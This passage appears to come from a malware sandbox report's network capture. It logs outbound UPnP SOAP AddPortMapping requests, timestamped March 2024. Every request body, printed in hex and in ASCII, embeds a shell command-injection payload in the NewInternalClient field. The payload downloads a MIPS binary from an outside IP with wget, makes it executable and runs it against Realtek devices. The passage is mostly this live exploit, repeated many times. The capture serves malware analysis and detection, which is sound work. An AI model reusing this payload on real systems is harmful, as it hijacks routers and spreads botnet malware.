4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:39.577727079 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.937205076 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:25.656321049 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      66192.168.2.153855845.123.197.21852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:24.817210913 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:26.425982952 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314100027 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.153909922 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
